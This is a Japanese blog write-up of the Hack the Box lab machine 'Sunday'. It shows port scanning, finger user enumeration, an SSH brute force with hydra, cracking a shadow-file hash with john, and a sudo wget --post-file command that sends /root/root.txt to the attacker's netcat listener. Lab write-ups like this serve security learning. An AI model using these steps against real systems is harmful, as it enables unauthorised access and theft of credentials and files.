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【Hack the Box write-up】Sunday

 ·  ☕ 7 min read  ·  ✍️ さんぽし

筆者は Hack the Box 初心者です。
何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。
さんぽし(@sanpo_shiho) | Twitter

また、今回の記事はいつにも増して雑になってます🙏
良い感じに意図を読み取ってください…

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。
github | sanposhiho/MY_CHEAT_SHEET

machineについて

難易度は easy です。

nmap

kali@kali:~$ nmap -p- --min-rate 10000  10.10.10.76
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-25 00:52 EST
Warning: 10.10.10.76 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.76
Host is up (0.22s latency).
Not shown: 60545 filtered ports, 4986 closed ports
PORT      STATE SERVICE
79/tcp    open  finger
111/tcp   open  rpcbind
22022/tcp open  unknown
63550/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 159.37 seconds

kali@kali:~$ nmap 10.10.10.76 -p 22022,79,111,63550 -A
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-25 01:21 EST
Nmap scan report for 10.10.10.76
Host is up (0.29s latency).

PORT      STATE SERVICE VERSION
79/tcp    open  finger  Sun Solaris fingerd
|_finger: ERROR: Script execution failed (use -d to debug)
111/tcp   open  rpcbind 2-4 (RPC #100000)
22022/tcp open  ssh     SunSSH 1.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
63550/tcp open  rpcbind
Service Info: OS: Solaris; CPE: cpe:/o☀sunos

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.00 seconds

finger-user-enum

fingerって何やねんってなりました
Fingerプロトコル - wikipedia

ネットワークサイト内の特定コンピュータまたは特定人物のステータスを表示するのに使われる

へ〜

この記事がとても参考になります

Finger Service Users Enumeration

kali@kali:~/finger-user-enum-1.0$ perl finger-user-enum.pl -t 10.10.10.76  -U /usr/share/seclists/Usernames/Names/names.txt
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Worker Processes ......... 5
Usernames file ........... /usr/share/seclists/Usernames/Names/names.txt
Target count ............. 1
Username count ........... 10164
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used

######## Scan started at Wed Nov 25 01:50:37 2020 #########
access@10.10.10.76: access No Access User                     < .  .  .  . >..nobody4  SunOS 4.x NFS Anonym               < .  .  .  . >..
admin@10.10.10.76: Login       Name               TTY         Idle    When    Where..adm      Admin                              < .  .  .  . >..lp       Line Printer Admin                 < .  .  .  . >..uucp     uucp Admin                         < .  .  .  . >..nuucp    uucp Admin                         < .  .  .  . >..dladm    Datalink Admin                     < .  .  .  . >..listen   Network Admin                      < .  .  .  . >..
anne marie@10.10.10.76: Login       Name               TTY         Idle    When    Where..anne                  ???..marie                 ???..
bin@10.10.10.76: bin             ???                         < .  .  .  . >..
dee dee@10.10.10.76: Login       Name               TTY         Idle    When    Where..dee                   ???..dee                   ???..
jo ann@10.10.10.76: Login       Name               TTY         Idle    When    Where..jo                    ???..ann                   ???..
line@10.10.10.76: Login       Name               TTY         Idle    When    Where..lp       Line Printer Admin                 < .  .  .  . >..
message@10.10.10.76: Login       Name               TTY         Idle    When    Where..smmsp    SendMail Message Sub               < .  .  .  . >..
miof mela@10.10.10.76: Login       Name               TTY         Idle    When    Where..miof                  ???..mela                  ???..
root@10.10.10.76: root     Super-User            pts/3        <Apr 24, 2018> sunday              ..
sammy@10.10.10.76: sammy                 console      <Jul 31 17:59>..
sunny@10.10.10.76: sunny                              <Nov 25 13:12> 10.10.14.3          ..
sys@10.10.10.76: sys             ???                         < .  .  .  . >..
zsa zsa@10.10.10.76: Login       Name               TTY         Idle    When    Where..zsa                   ???..zsa                   ???..
######## Scan completed at Wed Nov 25 02:37:38 2020 #########
14 results.

10164 queries in 2821 seconds (3.6 queries / sec)

hydraでcredentialを調べる

出てきたユーザー名をusers.txtとして保存してhydraでbrute forceします

kali@kali:~$ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -s 22022  10.10.10.76 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-25 02:12:17
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 28688798 login tries (l:2/p:14344399), ~1793050 tries per task
[DATA] attacking ssh://10.10.10.76:22022/
[STATUS] 215.00 tries/min, 215 tries in 00:01h, 28688590 to do in 2223:56h, 16 active
[STATUS] 167.67 tries/min, 503 tries in 00:03h, 28688302 to do in 2851:44h, 16 active
^@[STATUS] 152.43 tries/min, 1067 tries in 00:07h, 28687738 to do in 3136:45h, 16 active
[STATUS] 152.13 tries/min, 2282 tries in 00:15h, 28686523 to do in 3142:42h, 16 active
[22022][ssh] host: 10.10.10.76   login: sunny   password: sunday
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

当たりました

ssh

sshで繋ぎます

kali@kali:~$ ssh sunny@10.10.10.76 -p 22022 
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

なんか怒られるので./.ssh/configを編集します

Host 10.10.10.76
  KexAlgorithms +diffie-hellman-group1-sha1

これで先程のpwでログインできます

kali@kali:~$ ssh sunny@10.10.10.76 -p 22022
The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' can't be established.
RSA key fingerprint is SHA256:TmRO9yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.76]:22022' (RSA) to the list of known hosts.
Password: 
Last login: Wed Nov 25 13:12:34 2020 from 10.10.14.3
Sun Microsystems Inc.   SunOS 5.11      snv_111b        November 2008
sunny@sunday:~$ 

sunnyではuser.txtが取れませんでした

backup

いろいろ探していると/backupの中にshadow.backupというものがあります

https://www.atmarkit.co.jp/flinux/rensai/linuxtips/244johnripper.html

sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
sunny@sunday:/backup$ cat  /etc/passwd
root❌0:0:Super-User:/root:/usr/bin/bash
daemon❌1:1::/:
bin❌2:2::/usr/bin:
sys❌3:3::/:
adm❌4:4:Admin:/var/adm:
lp❌71:8:Line Printer Admin:/usr/spool/lp:
uucp❌5:5:uucp Admin:/usr/lib/uucp:
nuucp❌9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
dladm❌15:3:Datalink Admin:/:
smmsp❌25:25:SendMail Message Submission Program:/:
listen❌37:4:Network Admin:/usr/net/nls:
gdm❌50:50:GDM Reserved UID:/:
zfssnap❌51:12:ZFS Automatic Snapshots Reserved UID:/:/usr/bin/pfsh
xvm❌60:60:xVM User:/:
mysql❌70:70:MySQL Reserved UID:/:
openldap❌75:75:OpenLDAP User:/:
webservd❌80:80:WebServer Reserved UID:/:
postgres❌90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
svctag❌95:12:Service Tag UID:/:                       
nobody❌60001:60001:NFS Anonymous Access User:/:      
noaccess❌60002:60002:No Access User:/:              
nobody4❌65534:65534:SunOS 4.x NFS Anonymous Access User:/:
sammy❌101:10:sammy:/export/home/sammy:/bin/bash          
sunny❌65535:1:sunny:/export/home/sunny:/bin/bash

これを元にsammyのpwを解析します

kali@kali:~$ cat passwd 
sammy❌101:10:sammy:/export/home/sammy:/bin/bash
kali@kali:~$ cat backup
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
kali@kali:~$ sudo unshadow passwd backup > passwdfile
kali@kali:~$ sudo john passwdfile --wordlist='/usr/share/wordlists/rockyou.txt'
Using default input encoding: UTF-8 
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 256/256 AVX2 8x])    
Cost 1 (iteration count) is 5000 for all loaded hashes                        
Will run 4 OpenMP threads                                                    
Press 'q' or Ctrl-C to abort, almost any other key for status               
cooldude!        (sammy)
1g 0:00:00:26 DONE (2020-11-25 22:26) 0.03716g/s 7610p/s 7610c/s 7610C/s domonique1..bluenote
Use the "--show" option to display all of the cracked passwords reliably
Session completed

pwが出てきましたね

これを元にsshでsammyとしてログインができ、user.txtが手に入ります

PE

sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget

wgetがパスワードなしでrootで実行できます

kali@kali:~$ wget --help
GNU Wget 1.20.3, a non-interactive network retriever.
Usage: wget [OPTION]... [URL]...

Mandatory arguments to long options are mandatory for short options too.

Startup:
  -V,  --version                   display the version of Wget and exit
  -h,  --help                      print this help
  -b,  --background                go to background after startup
  -e,  --execute=COMMAND           execute a `.wgetrc'-style command

Logging and input file:
  -o,  --output-file=FILE          log messages to FILE
  -a,  --append-output=FILE        append messages to FILE
  -d,  --debug                     print lots of debugging information
  -q,  --quiet                     quiet (no output)
  -v,  --verbose                   be verbose (this is the default)
  -nv, --no-verbose                turn off verboseness, without being quiet
       --report-speed=TYPE         output bandwidth as TYPE.  TYPE can be bits
  -i,  --input-file=FILE           download URLs found in local or external FILE
  -F,  --force-html                treat input file as HTML
  -B,  --base=URL                  resolves HTML input-file links (-i -F)
                                     relative to URL
       --config=FILE               specify config file to use
       --no-config                 do not read any config file
       --rejected-log=FILE         log reasons for URL rejection to FILE

Download:
  -t,  --tries=NUMBER              set number of retries to NUMBER (0 unlimits)
       --retry-connrefused         retry even if connection is refused
       --retry-on-http-error=ERRORS    comma-separated list of HTTP errors to retry
  -O,  --output-document=FILE      write documents to FILE
  -nc, --no-clobber                skip downloads that would download to
                                     existing files (overwriting them)
       --no-netrc                  don't try to obtain credentials from .netrc
  -c,  --continue                  resume getting a partially-downloaded file
       --start-pos=OFFSET          start downloading from zero-based position OFFSET
       --progress=TYPE             select progress gauge type
       --show-progress             display the progress bar in any verbosity mode
  -N,  --timestamping              don't re-retrieve files unless newer than
                                     local
       --no-if-modified-since      don't use conditional if-modified-since get
                                     requests in timestamping mode
       --no-use-server-timestamps  don't set the local file's timestamp by
                                     the one on the server
  -S,  --server-response           print server response
       --spider                    don't download anything
  -T,  --timeout=SECONDS           set all timeout values to SECONDS
       --dns-timeout=SECS          set the DNS lookup timeout to SECS
       --connect-timeout=SECS      set the connect timeout to SECS
       --read-timeout=SECS         set the read timeout to SECS
  -w,  --wait=SECONDS              wait SECONDS between retrievals
       --waitretry=SECONDS         wait 1..SECONDS between retries of a retrieval
       --random-wait               wait from 0.5*WAIT...1.5*WAIT secs between retrievals
       --no-proxy                  explicitly turn off proxy
  -Q,  --quota=NUMBER              set retrieval quota to NUMBER
       --bind-address=ADDRESS      bind to ADDRESS (hostname or IP) on local host
       --limit-rate=RATE           limit download rate to RATE
       --no-dns-cache              disable caching DNS lookups
       --restrict-file-names=OS    restrict chars in file names to ones OS allows
       --ignore-case               ignore case when matching files/directories
  -4,  --inet4-only                connect only to IPv4 addresses
  -6,  --inet6-only                connect only to IPv6 addresses
       --prefer-family=FAMILY      connect first to addresses of specified family,
                                     one of IPv6, IPv4, or none
       --user=USER                 set both ftp and http user to USER
       --password=PASS             set both ftp and http password to PASS
       --ask-password              prompt for passwords
       --use-askpass=COMMAND       specify credential handler for requesting 
                                     username and password.  If no COMMAND is 
                                     specified the WGET_ASKPASS or the SSH_ASKPASS 
                                     environment variable is used.
       --no-iri                    turn off IRI support
       --local-encoding=ENC        use ENC as the local encoding for IRIs
       --remote-encoding=ENC       use ENC as the default remote encoding
       --unlink                    remove file before clobber
       --xattr                     turn on storage of metadata in extended file attributes

Directories:
  -nd, --no-directories            don't create directories
  -x,  --force-directories         force creation of directories
  -nH, --no-host-directories       don't create host directories
       --protocol-directories      use protocol name in directories
  -P,  --directory-prefix=PREFIX   save files to PREFIX/..
       --cut-dirs=NUMBER           ignore NUMBER remote directory components

HTTP options:
       --http-user=USER            set http user to USER
       --http-password=PASS        set http password to PASS
       --no-cache                  disallow server-cached data
       --default-page=NAME         change the default page name (normally
                                     this is 'index.html'.)
  -E,  --adjust-extension          save HTML/CSS documents with proper extensions
       --ignore-length             ignore 'Content-Length' header field
       --header=STRING             insert STRING among the headers
       --compression=TYPE          choose compression, one of auto, gzip and none. (default: none)
       --max-redirect              maximum redirections allowed per page
       --proxy-user=USER           set USER as proxy username
       --proxy-password=PASS       set PASS as proxy password
       --referer=URL               include 'Referer: URL' header in HTTP request
       --save-headers              save the HTTP headers to file
  -U,  --user-agent=AGENT          identify as AGENT instead of Wget/VERSION
       --no-http-keep-alive        disable HTTP keep-alive (persistent connections)
       --no-cookies                don't use cookies
       --load-cookies=FILE         load cookies from FILE before session
       --save-cookies=FILE         save cookies to FILE after session
       --keep-session-cookies      load and save session (non-permanent) cookies
       --post-data=STRING          use the POST method; send STRING as the data
       --post-file=FILE            use the POST method; send contents of FILE
       --method=HTTPMethod         use method "HTTPMethod" in the request
       --body-data=STRING          send STRING as data. --method MUST be set
       --body-file=FILE            send contents of FILE. --method MUST be set
       --content-disposition       honor the Content-Disposition header when
                                     choosing local file names (EXPERIMENTAL)
       --content-on-error          output the received content on server errors
       --auth-no-challenge         send Basic HTTP authentication information
                                     without first waiting for the server's
                                     challenge

HTTPS (SSL/TLS) options:
       --secure-protocol=PR        choose secure protocol, one of auto, SSLv2,
                                     SSLv3, TLSv1, TLSv1_1, TLSv1_2 and PFS
       --https-only                only follow secure HTTPS links
       --no-check-certificate      don't validate the server's certificate
       --certificate=FILE          client certificate file
       --certificate-type=TYPE     client certificate type, PEM or DER
       --private-key=FILE          private key file
       --private-key-type=TYPE     private key type, PEM or DER
       --ca-certificate=FILE       file with the bundle of CAs
       --ca-directory=DIR          directory where hash list of CAs is stored
       --crl-file=FILE             file with bundle of CRLs
       --pinnedpubkey=FILE/HASHES  Public key (PEM/DER) file, or any number
                                   of base64 encoded sha256 hashes preceded by
                                   'sha256//' and separated by ';', to verify
                                   peer against

       --ciphers=STR           Set the priority string (GnuTLS) or cipher list string (OpenSSL) directly.
                                   Use with care. This option overrides --secure-protocol.
                                   The format and syntax of this string depend on the specific SSL/TLS engine.
HSTS options:
       --no-hsts                   disable HSTS
       --hsts-file                 path of HSTS database (will override default)

FTP options:
       --ftp-user=USER             set ftp user to USER
       --ftp-password=PASS         set ftp password to PASS
       --no-remove-listing         don't remove '.listing' files
       --no-glob                   turn off FTP file name globbing
       --no-passive-ftp            disable the "passive" transfer mode
       --preserve-permissions      preserve remote file permissions
       --retr-symlinks             when recursing, get linked-to files (not dir)

FTPS options:
       --ftps-implicit                 use implicit FTPS (default port is 990)
       --ftps-resume-ssl               resume the SSL/TLS session started in the control connection when
                                         opening a data connection
       --ftps-clear-data-connection    cipher the control channel only; all the data will be in plaintext
       --ftps-fallback-to-ftp          fall back to FTP if FTPS is not supported in the target server
WARC options:
       --warc-file=FILENAME        save request/response data to a .warc.gz file
       --warc-header=STRING        insert STRING into the warcinfo record
       --warc-max-size=NUMBER      set maximum size of WARC files to NUMBER
       --warc-cdx                  write CDX index files
       --warc-dedup=FILENAME       do not store records listed in this CDX file
       --no-warc-compression       do not compress WARC files with GZIP
       --no-warc-digests           do not calculate SHA1 digests
       --no-warc-keep-log          do not store the log file in a WARC record
       --warc-tempdir=DIRECTORY    location for temporary files created by the
                                     WARC writer

Recursive download:
  -r,  --recursive                 specify recursive download
  -l,  --level=NUMBER              maximum recursion depth (inf or 0 for infinite)
       --delete-after              delete files locally after downloading them
  -k,  --convert-links             make links in downloaded HTML or CSS point to
                                     local files
       --convert-file-only         convert the file part of the URLs only (usually known as the basename)
       --backups=N                 before writing file X, rotate up to N backup files
  -K,  --backup-converted          before converting file X, back up as X.orig
  -m,  --mirror                    shortcut for -N -r -l inf --no-remove-listing
  -p,  --page-requisites           get all images, etc. needed to display HTML page
       --strict-comments           turn on strict (SGML) handling of HTML comments

Recursive accept/reject:
  -A,  --accept=LIST               comma-separated list of accepted extensions
  -R,  --reject=LIST               comma-separated list of rejected extensions
       --accept-regex=REGEX        regex matching accepted URLs
       --reject-regex=REGEX        regex matching rejected URLs
       --regex-type=TYPE           regex type (posix|pcre)
  -D,  --domains=LIST              comma-separated list of accepted domains
       --exclude-domains=LIST      comma-separated list of rejected domains
       --follow-ftp                follow FTP links from HTML documents
       --follow-tags=LIST          comma-separated list of followed HTML tags
       --ignore-tags=LIST          comma-separated list of ignored HTML tags
  -H,  --span-hosts                go to foreign hosts when recursive
  -L,  --relative                  follow relative links only
  -I,  --include-directories=LIST  list of allowed directories
       --trust-server-names        use the name specified by the redirection
                                     URL's last component
  -X,  --exclude-directories=LIST  list of excluded directories
  -np, --no-parent                 don't ascend to the parent directory

Email bug reports, questions, discussions to <bug-wget@gnu.org>
and/or open issues at https://savannah.gnu.org/bugs/?func=additem&group=wget.

--post-fileが使えそうです

sammy@sunday:~$ sudo wget http://10.10.14.3:1212 --post-file=/root/root.txt
--09:18:15--  http://10.10.14.3:1212/
           => `index.html'
Connecting to 10.10.14.3:1212... connected.
HTTP request sent, awaiting response... 
kali@kali:~$ nc -lnvp 1212
listening on [any] 1212 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.76] 59611
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.3:1212
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

****************************(root flag)

サクッと取れました

終わりに

なんでこのマシン評価鬼低かったんだろう🤔

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さんぽし
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さんぽし
Web Developer /w Elixir, Go